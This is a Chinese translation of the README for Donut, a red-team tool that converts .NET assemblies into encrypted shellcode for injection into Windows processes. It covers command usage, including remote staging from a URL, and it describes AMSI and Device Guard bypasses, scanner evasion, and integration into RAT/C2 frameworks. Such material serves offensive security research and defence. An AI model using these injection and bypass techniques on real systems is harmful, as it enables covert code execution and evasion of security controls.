Donut:将.NET程序集注入Windows进程

Donut是一个shellcode生成工具,它可以从.NET程序集中创建与位置无关的shellcode payloads。此shellcode可用于将程序集注入任意Windows进程。给定一个任意.NET程序集,参数和入口点(如Program.Main),Donut就可为我们生成一个与位置无关的shellcode,并从内存加载它。.NET程序集可以通过直接嵌入shellcode从URL或Stageless进行分阶段。无论哪种方式,.NET程序集都将使用Chaskey block cipher和128-bit随机生成的密钥进行加密。通过CLR加载程序集后,原始引用将从内存中删除以躲避内存扫描程序检测。程序集将被加载到一个新的应用程序域(AppDomain) 中,以允许在可释放的AppDomain中运行程序集。它可以以多种方式使用。

作为独立工具使用

Donut可用于从任意.NET程序集生成shellcode。同时提供了Windows EXE和Python script(计划用于v1.0版的python)的payload生成。命令行语法如下。

usage: donut [options] -f 

       -f             .NET assembly to embed in PIC and DLL.
       -u              HTTP server that will host the .NET assembly.
       -c  Optional class name. (required for DLL)
       -m           Optional method name. (required for DLL)
       -p     Optional parameters or command line, separated by comma or semi-colon.
       -a             Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
       -r          CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -d             AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -f assembly.exe
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

从源码构建 Donut

已为包含已编译可执行文件的每个发布版本的donut提供了tags。

v0.9 Beta: https://github.com/TheWover/donut/releases/tag/v0.9

v0.9.1 Beta: https://github.com/TheWover/donut/releases/tag/v0.9.1

你也可以使用提供的makefile自行克隆和构建源码。启动Microsoft Visual Studio Developer命令提示符并cd到donut的目录。Makefile(非gcc)可以通过-f Makefile.msvc进行指定。makefile提供以下命令来构建donut:

nmake donut -f Makefile.msvc
nmake debug -f Makefile.msvc
nmake clean -f Makefile.msvc

作为库

对于Linux(.a/.so)和Windows(.lib/.dll),可以将donut编译为动态库和静态库。它有一个简单的API,在docs/api.html中有描述。提供了两个导出函数:int DonutCreate(PDONUT_CONFIG c) 和 int DonutDelete(PDONUT_CONFIG c)。

作为模板 – 重建 shellcode

payload.c包含.NET程序集加载程序,该加载程序应使用Microsoft Visual Studio和MingW-W64成功编译。已为两个编译器提供了make文件,默认情况下,这两个编译器将生成x86-64 shellcode,除非将x86作为标签提供给nmake/make。每当payload.c被更改时,建议在重建donut之前重新编译所有架构。

Microsoft Visual Studio

打开x64 Microsoft Visual Studio构建环境,切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

这将从payload.c. exe2h生成一个64位可执行文件(payload.exe),然后从PE文件的.textsegment提取shellcode,并将其作为C array,保存到payload_exe_x64.h。当重新构建donut时,这个新的shellcode将用于它生成的所有payloads。

想要生成32位shellcode,请打开x86 Microsoft Visual Studio构建环境,并切换到payload目录,然后键入以下内容:

nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

这会将shellcode作为C array保存到payload_exe_x86.h中。

Mingw-w64

假设你在Linux上,并且mingw-w64是从软件包或源码安装的,那么你仍然可以使用我们提供的makefile重新构建shellcode。切换到payload目录并键入以下内容:

make clean -f Makefile.mingw
make -f Makefile.mingw

一旦为所有架构重新编译,就可以重建donut。

绕过

donut包括用于AMSI和其他安全功能的绕过系统。目前可以绕过:

.NET v4.8中的AMSI
Device Guard策略阻止动态生成的代码执行

你也可以在payload/bypass.c中自定义或添加自己的绕过方案。

每个bypass都使用BOOL DisableAMSI(PDONUT_INSTANCE inst)签名实现DisableAMSI功能,并附带相应的预处理器指令。我们有几个#if defined blocks来检查定义。每个block实现相同的bypass功能。例如,我们的第一个bypass称为BYPASS_AMSI_A。如果donut是用定义的变量构建的,则将使用该bypass。

为什么这么做?因为这意味着只有你使用的bypass内置在payload.exe中。因此,其他代码不包含在shellcode中。这减少了shellcode的大小和复杂性,增加了模块化的设计,并确保扫描程序无法在shellcode中找到你实际未使用的可疑块。

这么设计的另一个好处就是,你可以编写自己的AMSI bypass。要使用新的bypass构建Donut,请使用if defined block进行bypass,并修改makefile以添加一个使用定义的bypass名称构建的选项。

如果你愿意,可以扩展我们的bypass系统来添加在加载.NET程序集之前运行的其他预执行逻辑。

这里有一篇有关 AMSI bypass研究的详细文章 大家可以参考下。

个人建议

以下建议留给大家作为练习:

添加环境键控

每次生成shellcode时,通过混淆payload使donut具有多态性

将donut作为模块集成到你最喜欢的RAT/C2框架中

免责声明

我们不会针对任何的AV和检测实时更新签名进行对抗。

对于任何滥用此软件或技术的行为,我们概不负责!该工具仅作为研究学习使用!

工作原理

Procedure

Donut使用Unmanaged CLR Hosting API来加载公共语言运行时(Common Language Runtime)。如有必要,程序集将下载到内存中。无论哪种方式,都使用Chaskey block cipher对其进行解密。将CLR加载到主机进程后,除非另行指定,否则将使用随机名称创建新的AppDomain。AppDomain准备就绪后,将通过AppDomain.Load_3加载.NET程序集。最后,使用任意指定的参数调用用户指定的入口点。

以上逻辑描述了donut生成的shellcode的是如何工作的。该逻辑是在payload.exe中定义。要获取shellcode,exe2h从payload.exe中的.text segment中提取已编译的机器代码,并将其作为C array保存到C header文件中。donut将shellcode与Donut实例(shellcode的配置)和Donut模块(包含.NET程序集,类名,方法名和任意参数)相结合。

有关未记录的CLR Hosting API的文档,请参阅MSDN: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

有关CLR主机的单独示例,请参阅Casey Smith的AssemblyLoader存储库: https://github.com/caseysmithrc/AssemblyLoader

有关Donut如何运作的详细博文,可在Odzhan和TheWover的博客中找到。链接位于README的开头部分。

组件

donut.c: donut payload生成器源码
donut.exe: 编译为可执行文件EXE
donut.py: 编译为Python script(计划用于v1.0版的python)
lib/donut.dll, lib/donut.lib: 在Windows平台将Donut作为一个动态和静态库用于其他项目
lib/donut.so, lib/donut.a:在Linux平台将Donut作为一个动态和静态库用于其他项目
lib/donut.h: 如果在C/C++项目中使用静态库或动态库,则包含头文件
payload/payload.c:shellcode源码
payload/payload.exe: 编译的payload。shellcode是从这个二进制文件中提取的。
payload/inject.c:一个C shellcode injector,注入payload.bin到一个特定进程用于测试。
payload/inject.exe: 编译的C shellcode injector
payload/runsc.c:一个C shellcode runner,用于以最简单的方式测试payload.bin
payload/runsc.exe: 编译的C shellcode runner
payload/exe2h/exe2h.c: exe2h源码
payload/exe2h/exe2h.exe: 从payload.exe中提取有用的机器代码,并将其作为数组保存到C头文件中
encrypt.c: 在Counter(CTR)模式下用于加密的Chaskey 128-bit block cipher。
hash.c: Maru hash 功能。使用具有Davies-Meyer构造的Speck 64位分组密码进行API散列。

子项目

donut提供了四个配套项目:

DemoCreateProcess:用于测试的.NET程序集示例。采用两个命令行参数,每个参数指定要执行的程序。
DonutTest:用于测试donut的简单C# shellcode injector。shellcode必须是base64编码,并以字符串形式复制。
ModuleMonitor:一个概念验证工具,可以检测CLR注入,因为它是由Donut和Cobalt Strike的执行程序集等工具完成。
ProcessManager:一个进程发现工具,攻击者可以使用它来确定注入的内容,防御者则可以用来确定正在运行的内容,这些进程具有哪些属性,以及它们是否加载了CLR。

项目计划

创建一个donut Python C扩展,允许用户编写可以通过编程方式使用donut API的Python程序。它将用C语言编写,但作为Python模块公开。

创建一个C#版本的生成器

创建一个donut.py生成器,使用与donut.exe相同的命令行参数

添加对HTTP代理的支持

如果可能,找到简化shellcode的方法

添加选项以指定最大参数长度

添加对动态查找EXE入口点并使用命令行参数执行的支持

写一篇博文,介绍如何将donut集成到你的工具中,并进行调试和定制,以及设计与之可协同工作的的payload。

*参考来源: GitHub ,FB小编secist编译,转载请注明来自FreeBuf.COM